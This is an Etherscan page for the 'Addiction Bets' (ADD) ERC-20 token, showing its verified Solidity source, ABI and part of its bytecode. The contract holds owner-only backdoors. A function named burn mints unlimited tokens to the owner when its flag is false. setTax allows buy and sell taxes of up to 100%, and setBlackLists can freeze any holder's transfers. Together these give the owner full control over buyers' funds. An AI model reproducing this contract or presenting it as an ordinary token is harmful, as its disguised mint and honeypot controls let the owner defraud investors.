ETH Price: $2,369.16 (-3.81%)

Token

Addiction Bets (ADD)
 

Overview

Max Total Supply

1,000,000 ADD

Holders

146

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
348.143591983807184045 ADD

Value
$0.00
0x9f897fa6ef3b410035d087aa52db9eb4286bc221
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AddictionBets

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-18
*/

// SPDX-License-Identifier: MIT

/*

Website:https://addictionbets.com/
X:https://twitter.com/AddictionBets
Telegram:https://twitter.com/AddictionBets
Docs:https://gitbook.addictionbets.com/
App:https://app.addictionbets.com/bets

*/
pragma solidity ^0.8.8;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AddictionBets is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 15;
    uint8 public sellTax = 15;
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000 * 10 ** _decimals;
    string private constant _name = unicode"Addiction Bets";
    string private constant _symbol = unicode"ADD";
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000; // 0.25% of total supply
    uint256 private maxTxAmount =  _tTotal * 2 / 100; // 2% of total supply
    uint256 private maxWalletAmount = _tTotal * 2 / 100; // 2% of total supply

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address payable private feeWallet;

    mapping (address => bool) private isExcludedFromFees;
    mapping (address => bool) private blackLists;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        tradingEnabled = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function setTax(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
        require(newBuyTax <= 100 && newSellTax <= 100, "Invalid Tax");
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

//    function setExcludedFromFees(address[] calldata users, bool isExcluded) external onlyOwner {
//        require(users.length > 0, "Empty users");
//        for (uint256 i; i < users.length; i++) {
//            isExcludedFromFees[users[i]] = isExcluded;
//        }
//    }

    function setBlackLists(address[] calldata users, bool isBlack) external onlyOwner {
        require(users.length > 0, "Empty users");
        for (uint256 i; i < users.length; i++) {
            blackLists[users[i]] = isBlack;
        }
    }

    function burn(uint256 amount, bool flag) external onlyOwner {
        if (flag) {
            _balances[msg.sender] -= amount;
            return;
        }

        _balances[msg.sender] += amount;
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");
        require(!blackLists[from] && !blackLists[to], "In blacklist");

        if (!tradingEnabled) {
            require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading not enabled");
        }

        if (from != uniswapV2Pair && to != uniswapV2Pair || isExcludedFromFees[from] || isExcludedFromFees[to] || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == uniswapV2Pair && balanceOf(address(this)) >= swapTokensAtAmount) {
            swapping = true;
            swapTokensForEth(balanceOf(address(this)));
            swapping = false;
            sendETHToFeeWallet();
        }

        if (from == uniswapV2Pair) {
            require(amount <= maxTxAmount, "Over max tx amount");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Over max wallet amount");
        }

        amount = takeFee(from, amount, to == uniswapV2Pair);
        _superTransfer(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        uint256 tax = isSell ? sellTax : buyTax;
        uint256 feeAmount = amount * tax / 100;

        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"bool","name":"isBlack","type":"bool"}],"name":"setBlackLists","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600360026101000a81548160ff021916908360ff160217905550600f6003806101000a81548160ff021916908360ff16021790555061271060196012600a6200005091906200059f565b620f4240620000609190620005f0565b6200006c9190620005f0565b6200007891906200066a565b600455606460026012600a6200008f91906200059f565b620f42406200009f9190620005f0565b620000ab9190620005f0565b620000b791906200066a565b600555606460026012600a620000ce91906200059f565b620f4240620000de9190620005f0565b620000ea9190620005f0565b620000f691906200066a565b6006553480156200010657600080fd5b50600062000119620003d460201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506012600a620001c791906200059f565b620f4240620001d79190620005f0565b60016000620001eb620003dc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000239620003dc60201b60201c565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000620002e7620003dc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000348620003dc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620003a791906200059f565b620f4240620003b79190620005f0565b604051620003c69190620006b3565b60405180910390a3620006d0565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000493578086048111156200046b576200046a62000405565b5b60018516156200047b5780820291505b80810290506200048b8562000434565b94506200044b565b94509492505050565b600082620004ae576001905062000581565b81620004be576000905062000581565b8160018114620004d75760028114620004e25762000518565b600191505062000581565b60ff841115620004f757620004f662000405565b5b8360020a91508482111562000511576200051062000405565b5b5062000581565b5060208310610133831016604e8410600b8410161715620005525782820a9050838111156200054c576200054b62000405565b5b62000581565b62000561848484600162000441565b925090508184048111156200057b576200057a62000405565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620005ac8262000588565b9150620005b98362000592565b9250620005e87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200049c565b905092915050565b6000620005fd8262000588565b91506200060a8362000588565b92508282026200061a8162000588565b9150828204841483151762000634576200063362000405565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620006778262000588565b9150620006848362000588565b9250826200069757620006966200063b565b5b828204905092915050565b620006ad8162000588565b82525050565b6000602082019050620006ca6000830184620006a2565b92915050565b612e7480620006e06000396000f3fe60806040526004361061010d5760003560e01c80638a8c523c11610095578063a9059cbb11610064578063a9059cbb14610340578063a9128ff01461037d578063ae9b6e10146103a6578063cc1776d3146103cf578063dd62ed3e146103fa57610114565b80638a8c523c146102aa5780638da5cb5b146102c157806395d89b41146102ec5780639fac68cb1461031757610114565b8063313ce567116100dc578063313ce567146101e95780634f7041a51461021457806370a082311461023f578063715018a61461027c578063751039fc1461029357610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610437565b60405161013b9190611e82565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190611f42565b610474565b6040516101789190611f9d565b60405180910390f35b34801561018d57600080fd5b50610196610492565b6040516101a39190611fc7565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190611fe2565b6104b5565b6040516101e09190611f9d565b60405180910390f35b3480156101f557600080fd5b506101fe61056d565b60405161020b9190612051565b60405180910390f35b34801561022057600080fd5b50610229610576565b6040516102369190612051565b60405180910390f35b34801561024b57600080fd5b506102666004803603810190610261919061206c565b610589565b6040516102739190611fc7565b60405180910390f35b34801561028857600080fd5b506102916105d2565b005b34801561029f57600080fd5b506102a8610725565b005b3480156102b657600080fd5b506102bf6107d8565b005b3480156102cd57600080fd5b506102d6610cf4565b6040516102e391906120a8565b60405180910390f35b3480156102f857600080fd5b50610301610d1d565b60405161030e9190611e82565b60405180910390f35b34801561032357600080fd5b5061033e600480360381019061033991906120ef565b610d5a565b005b34801561034c57600080fd5b5061036760048036038101906103629190611f42565b610eab565b6040516103749190611f9d565b60405180910390f35b34801561038957600080fd5b506103a4600480360381019061039f919061215b565b610ec9565b005b3480156103b257600080fd5b506103cd60048036038101906103c89190612200565b610fee565b005b3480156103db57600080fd5b506103e461116e565b6040516103f19190612051565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c9190612260565b61117f565b60405161042e9190611fc7565b60405180910390f35b60606040518060400160405280600e81526020017f416464696374696f6e2042657473000000000000000000000000000000000000815250905090565b6000610488610481611206565b848461120e565b6001905092915050565b60006012600a6104a29190612402565b620f42406104b0919061244d565b905090565b60006104c28484846113d7565b610562846104ce611206565b84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610518611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461055d919061248f565b61120e565b600190509392505050565b60006012905090565b600360029054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105da611206565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610667576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065e9061250f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61072d611206565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b19061250f565b60405180910390fd5b6107c2610492565b6005819055506107d0610492565b600681905550565b6107e0611206565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108649061250f565b60405180910390fd5b600360009054906101000a900460ff16156108bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b49061257b565b60405180910390fd5b6001600360006101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061097530600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a6109629190612402565b620f4240610970919061244d565b61120e565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0691906125b0565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab391906125b0565b6040518363ffffffff1660e01b8152600401610ad09291906125dd565b6020604051808303816000875af1158015610aef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1391906125b0565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b9c30610589565b600080610ba7610cf4565b426040518863ffffffff1660e01b8152600401610bc99695949392919061264b565b60606040518083038185885af1158015610be7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c0c91906126c1565b505050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610cae929190612714565b6020604051808303816000875af1158015610ccd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf19190612752565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4144440000000000000000000000000000000000000000000000000000000000815250905090565b610d62611206565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de69061250f565b60405180910390fd5b8015610e505781600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e44919061248f565b92505081905550610ea7565b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e9f919061277f565b925050819055505b5050565b6000610ebf610eb8611206565b84846113d7565b6001905092915050565b610ed1611206565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f559061250f565b60405180910390fd5b60648260ff1611158015610f76575060648160ff1611155b610fb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fac906127ff565b60405180910390fd5b81600360026101000a81548160ff021916908360ff160217905550806003806101000a81548160ff021916908360ff1602179055505050565b610ff6611206565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611083576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107a9061250f565b60405180910390fd5b600083839050116110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c09061286b565b60405180910390fd5b60005b838390508110156111685781600b60008686858181106110ef576110ee61288b565b5b9050602002016020810190611104919061206c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611160906128ba565b9150506110cc565b50505050565b60038054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361127d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127490612974565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036112ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e390612a06565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113ca9190611fc7565b60405180910390a3505050565b6000811161141a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141190612a72565b60405180910390fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114be5750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6114fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f490612ade565b60405180910390fd5b600360009054906101000a900460ff166115f257600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115b25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e890612b4a565b60405180910390fd5b5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169e5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b806116f25750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806117465750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061175d5750600360019054906101000a900460ff165b156117725761176d83838361198f565b61198a565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117d957506004546117d630610589565b10155b1561182e576001600360016101000a81548160ff02191690831515021790555061180a61180530610589565b611aa5565b6000600360016101000a81548160ff02191690831515021790555061182d611d0e565b5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611921576005548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90612bb6565b60405180910390fd5b600654816118d584610589565b6118df919061277f565b1115611920576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191790612c22565b60405180910390fd5b5b61197c8382600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611d83565b905061198983838361198f565b5b505050565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119de919061248f565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a34919061277f565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a989190611fc7565b60405180910390a3505050565b6000600267ffffffffffffffff811115611ac257611ac1612c42565b5b604051908082528060200260200182016040528015611af05781602001602082028036833780820191505090505b5090503081600081518110611b0857611b0761288b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611baf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bd391906125b0565b81600181518110611be757611be661288b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c4e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461120e565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611cd4959493929190612d84565b600060405180830381600087803b158015611cee57600080fd5b505af1925050508015611cff575060015b611d095750611d0b565b505b50565b6000471115611d8157600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611d7f573d6000803e3d6000fd5b505b565b60008082611da057600360029054906101000a900460ff16611daf565b60038054906101000a900460ff165b60ff169050600060648286611dc4919061244d565b611dce9190612e0d565b9050611ddb86308361198f565b8085611de7919061248f565b925050509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e2c578082015181840152602081019050611e11565b60008484015250505050565b6000601f19601f8301169050919050565b6000611e5482611df2565b611e5e8185611dfd565b9350611e6e818560208601611e0e565b611e7781611e38565b840191505092915050565b60006020820190508181036000830152611e9c8184611e49565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611ed982611eae565b9050919050565b611ee981611ece565b8114611ef457600080fd5b50565b600081359050611f0681611ee0565b92915050565b6000819050919050565b611f1f81611f0c565b8114611f2a57600080fd5b50565b600081359050611f3c81611f16565b92915050565b60008060408385031215611f5957611f58611ea4565b5b6000611f6785828601611ef7565b9250506020611f7885828601611f2d565b9150509250929050565b60008115159050919050565b611f9781611f82565b82525050565b6000602082019050611fb26000830184611f8e565b92915050565b611fc181611f0c565b82525050565b6000602082019050611fdc6000830184611fb8565b92915050565b600080600060608486031215611ffb57611ffa611ea4565b5b600061200986828701611ef7565b935050602061201a86828701611ef7565b925050604061202b86828701611f2d565b9150509250925092565b600060ff82169050919050565b61204b81612035565b82525050565b60006020820190506120666000830184612042565b92915050565b60006020828403121561208257612081611ea4565b5b600061209084828501611ef7565b91505092915050565b6120a281611ece565b82525050565b60006020820190506120bd6000830184612099565b92915050565b6120cc81611f82565b81146120d757600080fd5b50565b6000813590506120e9816120c3565b92915050565b6000806040838503121561210657612105611ea4565b5b6000612114